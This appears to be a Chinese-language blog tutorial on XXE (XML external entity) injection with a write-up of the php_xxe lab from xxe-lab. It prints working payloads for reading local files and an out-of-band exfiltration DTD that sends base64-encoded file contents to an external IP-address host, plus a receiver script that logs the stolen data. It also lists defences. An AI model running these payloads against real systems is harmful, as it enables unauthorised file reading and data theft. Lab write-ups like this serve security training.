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XXE—实体注入、XXE-lab-master(php_xxe WriteUp)

今天给大家分享一下XXE—实体注入，喜欢的朋友希望点个赞哦。

XXE是什么？

XXE=xml external entity
即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击

典型的攻击如下：

定义实体必须写在DTD部分。
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什么是XML？
XML 指可扩展标记语言（EXtensible Markup Language）
XML 是一种标记语言，很类似 HTML
XML 的设计宗旨是传输数据，而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准

特点：

XML仅仅是纯文本，他不会做任何事情。
XML可以自己发明标签（允许定义自己的标签和文档结构）
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具，并且在信息存储和描述领域变得越来越流行。
这玩意就是个储存数据的

XXE原理
有了xml实体，关键字’SYSTEM’ 会令XML解析器从URL中读取内容，并允许它在XML文档中被替换。因此，攻击者可以通过实
体将他自定义的值发送给应用程序，然后让应用程序去呈现。简单来说，攻击者强制XML解析器去访问攻击者指定的资源内容
（可能是系统上本地文件亦或是远程系统上的文件）

php中存在一个叫做simplexml_load_string的函数
这个函数是将XML转化为对象

实例：

<?php
 $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
 $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
 print_r($obj);
 ?>

变量test里面是XML
然后试用simplexml_load_string将其转化为对象，第一个参数是xml语句，SimpleXMLElement是调用了SimpleXMLElement这个
类，然后LIBXML_NOENT是替代实体，然后他去执行了file协议去读取文件

很多时候后端语言解析了XML后其实并不会给你输出，难道这样子我们就不能进行XXE了？

不,我们可以使用一个类似与接受平台一样的接受器，XML读取数据然后发送到接收的平台，然后接收平台存储，我们再去接收
平台查看就可以了。感觉是不是像是反弹注入的感觉？



我们先读取我们想要的文件，然后为了传输方便，我们先来个base64编码，我们可以使用php伪协议读取文件（仅PHP支持）

php://filter/read=convert.base64-encode/resource=c:/1.txt

然后我们再去调用一个外部xml 比如1.xml （<!ENTITY % remote SYSTEM "http://192.168.19.131/1.xml">）

<!ENTITY % all
 "<!ENTITY &#x25; send SYSTEM 'http://120.203.13.75:8123/xxe/2.php?id=%file;'>"
 >
 %all;

这个1.xml会被加载到原本的xml,然后我们最后来调用，然后你读取出来的文件会用get传参的方式传参给2.php 然后2.php记录下
来储存到3.txt中

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

<!ENTITY 实体名称 SYSTEM “URI/URL”>
外部引用可支持http，file等协议，不同的语言支持的协议不同，但存在一些通用的协议，具体内容如下所示：

XXE-防御
方案一：

使用开发语言提供的禁用外部实体的方法

php:
libxml_disable_entity_loader(true)

方案二：

过滤用户提交的xml数据
关键词：SYSTEM和PUBLIC

接下来我们来看xxe-lab-master里面的php_xxe

下载链接：https://github.com/c0ny1/xxe-lab
下载好之后直接将文件夹放在phpstudy的PHPTutorial下的WWW文件夹里面即可。

进入php_xxe靶场:



我们抓包看一下：

可以看出，是以post方式传递的账号和密码。并且看上去很像xml的格式。
查看源代码：



可以看出，默认的账号密码都是admin
这里没有xml文档，所以使用php伪协议(php://input)来接收发送的xml文档
后面的if-else条件判断语句用来输出结果，注意必须要有username这个标签，不然的话找不到username,就没有了输出了，我们
也不能通过回显来获取信息了。

这里我们构造paylaod，目的是能够输出在username里面

<?xml version="1.0"?>
<!DOCTYPE mzymzy [
<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>mzymzy</password></user>

这里关键字‘SYSTEM’，会令xml解析器从URL中读取内容，并允许它在xml文档中被替换。这里我们可以强制xml解析器去访问系
统配置文件(位于C盘下的windows/win.ini)
这里的test就是指被读取的系统配置文件内容。

结果如下：

可以看出，输出了系统的配置文件。

后续的 java_xxe和python_xxe会持续更新~
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